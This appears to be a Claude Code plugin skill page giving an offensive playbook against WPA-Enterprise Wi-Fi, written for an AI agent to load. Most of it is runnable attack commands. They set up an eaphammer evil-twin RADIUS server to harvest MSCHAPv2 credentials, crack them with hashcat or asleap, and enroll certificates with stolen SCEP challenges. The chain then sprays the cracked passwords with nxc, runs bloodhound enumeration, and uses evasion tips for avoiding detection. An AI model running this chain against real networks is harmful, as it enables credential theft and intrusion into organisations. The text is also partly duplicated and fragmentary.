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From cybersec-toolkit
Attacks WPA/WPA2/WPA3-Enterprise (802.1X/EAP) networks: identifies EAP methods, runs evil-twin RADIUS attacks with eaphammer, cracks MSCHAPv2 challenge-responses, and steals EAP-TLS client certificates.
How this skill is triggered — by the user, by Claude, or both
Slash command
/cybersec-toolkit:offensive-wpa-enterpriseThe summary Claude sees in its skill listing — used to decide when to auto-load this skill
Enterprise Wi-Fi delegates authentication to a RADIUS server — usually backed by AD. The PSK doesn't exist. Instead, you attack the supplicant's trust in the server certificate, the inner EAP method's crypto, or the cert-issuance path.
Enterprise Wi-Fi delegates authentication to a RADIUS server — usually backed by AD. The PSK doesn't exist. Instead, you attack the supplicant's trust in the server certificate, the inner EAP method's crypto, or the cert-issuance path.
offensive-active-directory and offensive-network)# Watch 802.1X exchange in monitor mode
sudo tshark -i wlan0mon -Y "eapol || eap" -V
# Or capture and analyze
sudo airodump-ng wlan0mon -c <ch> --bssid <BSSID> -w eap_capture
# When client associates, read the EAP-Request/Identity and Type fields
wireshark eap_capture-01.cap
| EAP Type | Identifier | Common Inner |
|---|---|---|
| 13 | EAP-TLS | Client + server certs |
| 17 | LEAP | (legacy, weak) |
| 21 | EAP-TTLS | MSCHAPv2 / PAP / CHAP / GTC |
| 25 | PEAP | MSCHAPv2 (PEAPv0/MS) / GTC (PEAPv0/Cisco) |
| 43 | EAP-FAST | MSCHAPv2 (PAC-protected) |
| 47 | EAP-PWD | (Dragonblood-class research target) |
The most common attack path against corporate Wi-Fi.
# eaphammer — automated rogue AP + RADIUS
eaphammer --cert-wizard # generate self-signed cert (first run)
eaphammer -i wlan0 \
--essid CorpWiFi \
--bssid AA:BB:CC:DD:EE:FF \
--auth wpa-eap \
--creds
When a client associates, eaphammer logs:
[*] User: corp.local\jdoe
[*] Challenge: 1122334455667788
[*] Response: aabbccdd...
Crack offline:
# asleap — designed for MSCHAPv2 challenge/response
asleap -C 1122334455667788 -R aabbccdd... -W rockyou.txt
# Or hashcat mode 5500 (NetNTLMv1 / MSCHAPv2)
hashcat -m 5500 hash.txt rockyou.txt -r OneRuleToRuleThemAll.rule
The captured response is equivalent to NetNTLMv1 — feed it to a rainbow-table service (crack.sh) for guaranteed crack at moderate cost.
The MSCHAPv2 inner exchange is encrypted in a TLS tunnel between the supplicant and the (real or fake) RADIUS server. If the supplicant doesn't validate:
Then a self-signed cert is accepted, the tunnel is established with the attacker, and MSCHAPv2 happens inside.
Mitigation defenders should use:
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy Objects\...
Look at the deployed wireless profile XML. Critical fields:
<ServerValidation>
<DisableUserPromptForServerValidation>true</DisableUserPromptForServerValidation>
<ServerNames>radius.corp.local</ServerNames>
<TrustedRootCA>...thumbprint...</TrustedRootCA>
</ServerValidation>
If ServerNames is missing or wildcard'd, evil-twin will succeed.
Manual entry → users typically click "Trust" on the certificate prompt the first time, including for the evil twin. After that the supplicant trusts the attacker cert by hash. Many BYOD networks rely on this acceptance without controlling the trust anchor.
EAP-TLS uses client certificates instead of passwords — there's nothing to crack from the wire. Attack vectors:
%APPDATA%\Microsoft\SystemCertificates\My\Certificates\offensive-mobile)If the network uses SCEP for cert provisioning:
# Discover NDES endpoint (often /certsrv/mscep/mscep.dll)
curl -I http://ndes.corp.local/certsrv/mscep/mscep.dll
# Enroll with stolen / weak challenge password
sscep enroll -c ca.crt -k client.key -r request.csr \
-u http://ndes.corp.local/certsrv/mscep/mscep.dll \
-l client.crt -E 3des -S sha1
Domain users with Enroll permission on a Client Authentication template can mint their own certs. See offensive-active-directory for ESC1-class attacks.
If GTC is offered (rare, often Cisco environments), the inner exchange is plain text. A successful evil-twin captures the password directly with no offline cracking needed. eaphammer captures GTC the same way as MSCHAPv2.
A cracked MSCHAPv2 yields corp.local\jdoe : Password123!. From there:
# Validate against AD
nxc smb dc.corp.local -u jdoe -p 'Password123!' -d corp.local
# Spray against other systems
nxc smb 10.0.0.0/24 -u jdoe -p 'Password123!' -d corp.local
# Initial AD enum
bloodhound-python -d corp.local -u jdoe -p 'Password123!' -ns dc.corp.local -c All
Hand off to the AD attack chain (offensive-active-directory, offensive-network).
| Signal | Defender View |
|---|---|
| Rogue RADIUS server ESSID | WIPS rule: AP impersonation by ESSID/BSSID delta |
| Repeated MSCHAPv2 failures | RADIUS log: increased auth failures from one supplicant |
| Cert mismatch failures | Modern Windows endpoints log to Event Viewer (Wi-Fi 11005) |
| Captured user complaint | Users may report a "weird Wi-Fi prompt" — most don't |
To minimize: match the legitimate AP's BSSID exactly (spoofed MAC), use a CA-signed cert that mimics the real RADIUS CN if you can obtain one, time the attack during known disruption windows (lunch / start of day) to blend with reconnections.
# 1. Identify EAP method
sudo tshark -i wlan0mon -Y "eap" -V | grep -E "(Type:|Identity)"
# 2. Run eaphammer evil twin
eaphammer --cert-wizard
eaphammer -i wlan0 --essid <CorpWiFi> --bssid <BSSID> --auth wpa-eap --creds
# 3. As clients connect, capture MSCHAPv2 challenges
# Watch eaphammer console for User/Challenge/Response
# 4. Crack offline
hashcat -m 5500 hash.txt rockyou.txt -r OneRuleToRuleThemAll.rule
# Or asleap -C <chal> -R <resp> -W wordlist
# 5. Validate creds against domain
nxc smb <dc> -u <user> -p <pass> -d <domain>
# 6. Hand off to AD chain
npx claudepluginhub 26zl/cybersec-toolkit --plugin cybersec-toolkitWireless/802.11 attack methodology for red team engagements and security assessments. Covers handshake capture, PMKID, WPA3 downgrade, EAP attacks, evil twin, KRACK, and more.
Conducts authorized wireless network penetration tests assessing WiFi security including encryption weaknesses, captive portal bypass, evil twin attacks, WPA2/WPA3 handshake capture, rogue AP detection, and client-side attacks.
Conducts authorized wireless network penetration tests including weak encryption checks, evil twin attacks, WPA2/WPA3 handshake capture, rogue AP detection, and client attacks to assess WiFi security.